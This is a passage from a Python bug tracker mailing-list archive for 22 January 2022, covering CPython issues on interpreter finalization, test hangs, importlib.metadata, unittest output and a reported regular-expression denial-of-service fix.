In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642871532.36.0.42203878656.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28980 pull_request: https://github.com/python/cpython/pull/30795 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:24:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 17:24:34 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642872274.24.0.759683547084.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28981 pull_request: https://github.com/python/cpython/pull/30796 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:28:57 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 22 Jan 2022 17:28:57 +0000 Subject: [issue43118] inspect.signature() raises RuntimeError on failed to resolve the default argument value In-Reply-To: <1612364652.22.0.413597788447.issue43118@roundup.psfhosted.org> Message-ID: <1642872537.27.0.195724563372.issue43118@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 83aef4d34022f293336f606dba8598cc7ac8f9f2 by Miss Islington (bot) in branch '3.10': bpo-43118: Fix bug in inspect.signature around 'base.__text_signature__' (GH-30285) (#30765) https://github.com/python/cpython/commit/83aef4d34022f293336f606dba8598cc7ac8f9f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:33:07 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 22 Jan 2022 17:33:07 +0000 Subject: [issue46461] Kodi crashing In-Reply-To: <1642786800.75.0.533883695157.issue46461@roundup.psfhosted.org> Message-ID: <1642872787.32.0.158667061442.issue46461@roundup.psfhosted.org> Change by Eric V. Smith : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:34:50 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 22 Jan 2022 17:34:50 +0000 Subject: [issue46472] A option that choose between single quote and double quote in shlex.quote In-Reply-To: <1642862144.42.0.109512235386.issue46472@roundup.psfhosted.org> Message-ID: <1642872890.68.0.990925260744.issue46472@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:36:39 2022 From: report at bugs.python.org (Ben) Date: Sat, 22 Jan 2022 17:36:39 +0000 Subject: [issue46473] importlib.metadata does not honor .egg-link files In-Reply-To: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org> Message-ID: <1642872999.92.0.421369294337.issue46473@roundup.psfhosted.org> Ben added the comment: I should also add that the easy-install.pth file, which similarly contains a link to the source dir containing the .egg-info metadata, is also not processed to locate the necessary metadata. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:42:11 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sat, 22 Jan 2022 17:42:11 +0000 Subject: [issue46473] importlib.metadata does not honor .egg-link files In-Reply-To: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org> Message-ID: <1642873331.38.0.655622990267.issue46473@roundup.psfhosted.org> ?ric Araujo added the comment: It would make sense if importlib only supported official specs. For editable/develop installs, it is https://www.python.org/dev/peps/pep-0660/ which does not mention egg (not egg-link nor egg-info, long since replaced by dist-info). Are you using latest pip, and pyproject.toml? I would expect pip to follow the PEP too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:55:55 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 17:55:55 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642874155.53.0.464690354203.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 500c146387b01ea797b52e6a54caf228384e184c by Victor Stinner in branch 'main': bpo-46417: Clear more static types (GH-30796) https://github.com/python/cpython/commit/500c146387b01ea797b52e6a54caf228384e184c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:56:14 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 17:56:14 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642874174.06.0.731721185629.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 3a4c15bb9815b6f4652621fe6043ae18e0d202b3 by Victor Stinner in branch 'main': bpo-46417: Cleanup typeobject.c code (GH-30795) https://github.com/python/cpython/commit/3a4c15bb9815b6f4652621fe6043ae18e0d202b3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:57:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 17:57:27 +0000 Subject: [issue45200] Address Sanitizer: libasan dead lock in pthread_create() (test_multiprocessing_fork.test_get() hangs) In-Reply-To: <1631679460.71.0.626374231164.issue45200@roundup.psfhosted.org> Message-ID: <1642874247.72.0.675733045535.issue45200@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28982 pull_request: https://github.com/python/cpython/pull/30797 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 12:59:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 17:59:56 +0000 Subject: [issue45200] Address Sanitizer: libasan dead lock in pthread_create() (test_multiprocessing_fork.test_get() hangs) In-Reply-To: <1631679460.71.0.626374231164.issue45200@roundup.psfhosted.org> Message-ID: <1642874396.79.0.641009926119.issue45200@roundup.psfhosted.org> STINNER Victor added the comment: I reopen the issue: test_concurrent_futures seems to be also affected by this bug :-( Example of recent hang: https://github.com/python/cpython/runs/4908075699?check_suite_focus=true --- 0:18:04 load avg: 1.34 [417/418] test_peg_generator passed (9 min 46 sec) -- running: test_concurrent_futures (11 min 20 sec) 0:18:34 load avg: 0.81 running: test_concurrent_futures (11 min 50 sec) 0:19:04 load avg: 0.49 running: test_concurrent_futures (12 min 20 sec) (...) 0:31:34 load avg: 0.00 running: test_concurrent_futures (24 min 50 sec) Kill process group 0:31:43 load avg: 0.00 [418/418/1] test_concurrent_futures timed out (25 min) (25 min) (...) 0:31:43 load avg: 0.00 Re-running test_concurrent_futures in verbose mode (...) OK (skipped=6) == Tests result: FAILURE then SUCCESS == 409 tests OK. 10 slowest tests: - test_concurrent_futures: 25 min - test_peg_generator: 9 min 46 sec - test_tools: 4 min 45 sec - test_asyncio: 2 min 18 sec - test_weakref: 1 min 26 sec - test_venv: 1 min 24 sec - test_subprocess: 1 min 6 sec - test_lib2to3: 1 min 1 sec - test_pickle: 59.4 sec - test_gdb: 58.5 sec 9 tests skipped: test_devpoll test_ioctl test_kqueue test_msilib test_startfile test_winconsoleio test_winreg test_winsound test_zipfile64 1 re-run test: test_concurrent_futures --- ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:01:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 18:01:39 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642874499.29.0.862541665201.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28983 pull_request: https://github.com/python/cpython/pull/30798 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:15:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 18:15:43 +0000 Subject: [issue45200] Address Sanitizer: libasan dead lock in pthread_create() (test_multiprocessing_fork.test_get() hangs) In-Reply-To: <1631679460.71.0.626374231164.issue45200@roundup.psfhosted.org> Message-ID: <1642875343.96.0.271792148866.issue45200@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ce7d66771ec64488134a1dd114015aa056eef696 by Victor Stinner in branch 'main': bpo-45200: GHA Address Sanitizer skips 3 slowest tests (GH-30797) https://github.com/python/cpython/commit/ce7d66771ec64488134a1dd114015aa056eef696 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:17:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 18:17:15 +0000 Subject: [issue45200] Address Sanitizer: libasan dead lock in pthread_create() (test_multiprocessing_fork.test_get() hangs) In-Reply-To: <1631679460.71.0.626374231164.issue45200@roundup.psfhosted.org> Message-ID: <1642875435.97.0.224622280744.issue45200@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:31:32 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 18:31:32 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642876292.52.0.180477301771.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 6cacdb42454264ae75cab5e32bb62876da43bf6f by Victor Stinner in branch 'main': bpo-46417: _PyTypes_FiniTypes() clears object and type (GH-30798) https://github.com/python/cpython/commit/6cacdb42454264ae75cab5e32bb62876da43bf6f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:32:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 18:32:39 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642876359.3.0.443711217806.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: Kumar Aditya: "The following patch further reduces the reference but not sure if it is correct (...)" Right! PyContext and PyHamt types were on my TODO list ;-) They are now cleared since this change: bpo-46417: Clear more static types (GH-30796) https://github.com/python/cpython/commit/500c146387b01ea797b52e6a54caf228384e184c It's similar to your change, but more complete :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:34:58 2022 From: report at bugs.python.org (Ben) Date: Sat, 22 Jan 2022 18:34:58 +0000 Subject: [issue46473] importlib.metadata does not honor .egg-link files In-Reply-To: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org> Message-ID: <1642876498.72.0.623438060981.issue46473@roundup.psfhosted.org> Ben added the comment: yes, the latest version of pip creates an .egg-info metadata dir at the level of the package src dir and .egg-link and easy-install.pth stubs in the site-packages dir (the contents of which are paths to the package src dir). The intent is that these links would be followed to find the necessary metadata for the package. However, importlib.metadata does not follow either one of these links. These links are what makes editable installs possible, so I'm not sure how they can be ignored all together, unless there's some different facility that provides this functionality. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:36:18 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 18:36:18 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642876578.87.0.468827453347.issue46425@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- nosy: +jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:46:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 18:46:24 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1642877184.32.0.669468616822.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: In bpo-46417, I pushed a change to call _PyDebug_PrintTotalRefs() after destroying the interpreter. I backported locally this change to other Python versions to compare the progress on old Python versions: ./python -I -X showrefcount -c pass command: * Python 3.7: [22636 refs, 7453 blocks] * Python 3.8: [18082 refs, 5867 blocks] * Python 3.9: [17786 refs, 5766 blocks] * Python 3.10: [10725 refs, 3978 blocks] * current main branch: [2957 refs, 1240 blocks] Yeah, main is way better than Python 3.10! I pushed many changes in bpo-46417 to clear most static types, it helps a lot! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:49:46 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 18:49:46 +0000 Subject: [issue46126] Unittest output drives developers to avoid docstrings In-Reply-To: <1639868904.15.0.52665025329.issue46126@roundup.psfhosted.org> Message-ID: <1642877386.33.0.253593443066.issue46126@roundup.psfhosted.org> miss-islington added the comment: New changeset a941e5927f7f2540946813606c61c6aea38db426 by Jason R. Coombs in branch 'main': bpo-46126: Disable 'descriptions' when running tests internally. (GH-30194) https://github.com/python/cpython/commit/a941e5927f7f2540946813606c61c6aea38db426 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:52:39 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 18:52:39 +0000 Subject: [issue46126] Unittest output drives developers to avoid docstrings In-Reply-To: <1639868904.15.0.52665025329.issue46126@roundup.psfhosted.org> Message-ID: <1642877559.09.0.768221348618.issue46126@roundup.psfhosted.org> Jason R. Coombs added the comment: I've merged the fix for regrtest and I'll explore Terry's concerns and see what I can devise for those concerns as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 13:52:44 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 18:52:44 +0000 Subject: [issue46126] Unittest output drives developers to avoid docstrings In-Reply-To: <1639868904.15.0.52665025329.issue46126@roundup.psfhosted.org> Message-ID: <1642877564.74.0.654283865187.issue46126@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- assignee: -> jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:05:32 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 19:05:32 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642878332.0.0.927894707956.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: Attached cannot_deallocate.patch explains why some static types cannot be deallocated. It lists (static) types which are not cleard properly at Python exit. Simplest example: --- $ ./python -c pass Cannot clear type 'object': it still has subclasses * EncodingMap * fieldnameiterator * formatteriterator * BaseException * _io._IOBase * _io._BytesIOBuffer * _io.IncrementalNewlineDecoder --- More complete example: --- $ ./python setup.py build running build (...) Cannot clear type 'types.GenericAlias': it still has subclasses * _CallableGenericAlias Cannot clear type 'tuple': it still has subclasses * datetime.IsoCalendarDate * DecimalTuple Cannot clear type 'staticmethod': it still has subclasses * abstractstaticmethod Cannot clear type 'property': it still has subclasses * abstractproperty Cannot clear type 'list': it still has subclasses * MyList Cannot clear type 'dict': it still has subclasses * collections.defaultdict * StgDict Cannot clear type 'classmethod': it still has subclasses * abstractclassmethod Cannot clear type 'type': it still has subclasses * ABCMeta * _ctypes.PyCStructType * _ctypes.UnionType * _ctypes.PyCPointerType * _ctypes.PyCArrayType * _ctypes.PyCSimpleType * _ctypes.PyCFuncPtrType Cannot clear type 'object': it still has subclasses * type * classmethod * dict * list * property * staticmethod * tuple * types.GenericAlias * EncodingMap * fieldnameiterator * formatteriterator * BaseException * ModuleSpec * FrozenImporter * _io._IOBase * _io._BytesIOBuffer * _io.IncrementalNewlineDecoder * _LoaderBasics * FileLoader * _abc._abc_data * ABC * Hashable * Awaitable * AsyncIterable * Iterable * Sized * Container * Callable * itertools.accumulate * itertools.combinations * itertools.combinations_with_replacement * itertools.cycle * itertools.dropwhile * itertools.takewhile * itertools.islice * itertools.starmap * itertools.chain * itertools.compress * itertools.filterfalse * itertools.count * itertools.zip_longest * itertools.pairwise * itertools.permutations * itertools.product * itertools.repeat * itertools.groupby * itertools._grouper * itertools._tee * itertools._tee_dataobject * collections.deque * _collections._deque_iterator * _collections._deque_reverse_iterator * _collections._tuplegetter * _IterationGuard * WeakSet * _struct.Struct * _struct.unpack_iterator * datetime.date * datetime.time * datetime.timedelta * datetime.tzinfo * _pickle.Pdata * _pickle.PicklerMemoProxy * _pickle.UnpicklerMemoProxy * _pickle.Pickler * _pickle.Unpickler * _socket.socket * _asyncio.FutureIter * TaskStepMethWrapper * _RunningLoopHolder * _asyncio.Future * _xxsubinterpreters.ChannelID * matmulType * ipowType * awaitType * MethodDescriptorBase * GenericAlias * Generic * MethInstance * MethClass * MethStatic * _testcapi.HeapCType * _testcapi.ContainerNoGC * _curses.window * ossaudiodev.oss_audio_device * ossaudiodev.oss_mixer_device * _elementtree._element_iterator * xml.etree.ElementTree.TreeBuilder * xml.etree.ElementTree.Element * xml.etree.ElementTree.XMLParser * decimal.Decimal * decimal.Context * decimal.SignalDictMixin * decimal.ContextManager * Number * _multiprocessing.SemLock * xxlimited.Xxo * CArgObject * _ctypes.CThunkObject * _ctypes._CData * _ctypes.CField * _ctypes.DictRemover * _ctypes.StructParam_Type --- ---------- Added file: https://bugs.python.org/file50576/cannot_deallocate.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:06:06 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:06:06 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642878366.19.0.63257818176.issue46425@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +28984 pull_request: https://github.com/python/cpython/pull/30799 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:17:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 19:17:23 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642879043.6.0.727493622608.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28985 pull_request: https://github.com/python/cpython/pull/30800 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:18:51 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:18:51 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern Message-ID: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> New submission from Jason R. Coombs : Originally reported to the Python Security Response Team, the EntryPoint.pattern demonstrates a potential [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_). The issue has been patched and fix released with importlib_metadata 4.10.1. Let's get that fix incorporated into Python as well. ---------- assignee: jaraco components: Library (Lib) messages: 411282 nosy: jaraco priority: normal severity: normal status: open title: Inefficient regular expression complexity in EntryPoint.pattern type: security versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:23:43 2022 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Sat, 22 Jan 2022 19:23:43 +0000 Subject: [issue39854] f-strings with format specifiers have wrong col_offset In-Reply-To: <1583347311.91.0.313226476752.issue39854@roundup.psfhosted.org> Message-ID: <1642879423.9.0.58348505438.issue39854@roundup.psfhosted.org> St?phane Blondon added the comment: I can reproduce it on python 3.8. I can't reproduce it on python 3.9 or 3.10. ---------- nosy: +sblondon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:28:45 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 19:28:45 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642879725.95.0.90885093422.issue41682@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28986 pull_request: https://github.com/python/cpython/pull/30801 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:32:44 2022 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Sat, 22 Jan 2022 19:32:44 +0000 Subject: [issue43196] logging.config.dictConfig shuts down socket for existing SysLogHandlers In-Reply-To: <1612989936.74.0.764522656943.issue43196@roundup.psfhosted.org> Message-ID: <1642879964.78.0.217656920948.issue43196@roundup.psfhosted.org> St?phane Blondon added the comment: I can reproduce the error on Debian/testing with: - Python 3.9.9 - Python 3.10.0 ---------- nosy: +sblondon status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:34:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 Jan 2022 19:34:46 +0000 Subject: [issue39854] f-strings with format specifiers have wrong col_offset In-Reply-To: <1583347311.91.0.313226476752.issue39854@roundup.psfhosted.org> Message-ID: <1642880086.88.0.195685780121.issue39854@roundup.psfhosted.org> Irit Katriel added the comment: Closing as 3.8 is only getting security fixes now. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:36:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 Jan 2022 19:36:11 +0000 Subject: [issue43196] logging.config.dictConfig shuts down socket for existing SysLogHandlers In-Reply-To: <1612989936.74.0.764522656943.issue43196@roundup.psfhosted.org> Message-ID: <1642880171.19.0.15831053084.issue43196@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:41:34 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:41:34 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642880494.03.0.724727184891.issue46474@roundup.psfhosted.org> Jason R. Coombs added the comment: Because I want this security issue to be back-portable to older Pythons, I'll first apply importlib_metadata 4.10.0 and then apply the change from 4.10.1 separately. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:46:19 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:46:19 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642880779.45.0.902352348844.issue46474@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- keywords: +patch pull_requests: +28987 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30802 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:46:19 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:46:19 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642880779.54.0.0232906788673.issue46425@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +28988 pull_request: https://github.com/python/cpython/pull/30802 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:49:52 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:49:52 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642880992.89.0.451510262594.issue46425@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +28990 pull_request: https://github.com/python/cpython/pull/30803 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:49:52 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:49:52 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642880992.8.0.0530706429245.issue46474@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +28989 pull_request: https://github.com/python/cpython/pull/30803 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:57:02 2022 From: report at bugs.python.org (Eryk Sun) Date: Sat, 22 Jan 2022 19:57:02 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642881422.21.0.230691249253.issue46454@roundup.psfhosted.org> Eryk Sun added the comment: > If some one closes fd 0, then he reopens it. it will not be inherited. In Windows, when a console process spawns a child console process without enabling handle inheritance -- e.g. subprocess.Popen(['python.exe']) -- the OS will manually duplicate (not inherit) the standard handles to the child. It doesn't matter in this case that a standard handle isn't inheritable. The latter also doesn't matter when any of the standard handles is overridden by a Popen() call in Windows -- e.g. subprocess.Popen(['python.exe'], stderr=DEVNULL). All of the standard handle values have to be overridden together. Popen() uses this as an opportunity to duplicate an inheritable handle for each that's not overridden, instead of just copying the handle value. On the other hand, if subprocess.Popen() is called in Windows with handle inheritance enabled and without overriding the standard handles -- e.g. subprocess.Popen(['python.exe'], close_fds=False) -- then the standard handles should be inheritable. If any of the standard handles isn't inheritable, then at best the standard handle value in the child will be invalid or used by a handle for a kernel object type other than a file (e.g. process, event). By coincidence, however, a file open in the child could reuse the standard handle value, which can lead to buggy behavior. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 15:19:21 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 20:19:21 +0000 Subject: [issue46409] Add a new bytecode instruction to create generators In-Reply-To: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org> Message-ID: <1642882761.49.0.198988012309.issue46409@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +sobolevn nosy_count: 1.0 -> 2.0 pull_requests: +28991 pull_request: https://github.com/python/cpython/pull/30780 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 15:21:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 20:21:06 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642882866.2.0.703903225492.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28992 pull_request: https://github.com/python/cpython/pull/30804 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 15:22:28 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 22 Jan 2022 20:22:28 +0000 Subject: [issue46465] test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642882948.4.0.203618241362.issue46465@roundup.psfhosted.org> Guido van Rossum added the comment: @kj, are you looking into this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 15:26:58 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 22 Jan 2022 20:26:58 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642883218.58.0.2525675261.issue46431@roundup.psfhosted.org> Guido van Rossum added the comment: Is this a matter of adding some documentation showing how it should be done? Even if we don't want to encourage such subclassing, we do have APIs to support it, and I think we ought to show how to do it, given that you have to coordinate a bunch of things. How feasible is it to improve the error? (If that error is what you always get when __init__ and __new__ don't agree, maybe that could be a separate, more general issue?) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 15:49:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 20:49:11 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642884551.41.0.287312991118.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset f1bcdeaca6e912a2bec1fbcff76cc49e7f761d38 by Victor Stinner in branch 'main': bpo-46417: Factorize _PyExc_InitTypes() code (GH-30804) https://github.com/python/cpython/commit/f1bcdeaca6e912a2bec1fbcff76cc49e7f761d38 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 16:03:14 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Sat, 22 Jan 2022 21:03:14 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1642885394.16.0.165099810176.issue41682@roundup.psfhosted.org> Change by Oleg Iarygin : ---------- nosy: +arhadthedev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 16:05:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 21:05:43 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642885543.42.0.855542408818.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28993 pull_request: https://github.com/python/cpython/pull/30805 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 16:31:56 2022 From: report at bugs.python.org (STINNER Victor) Date: 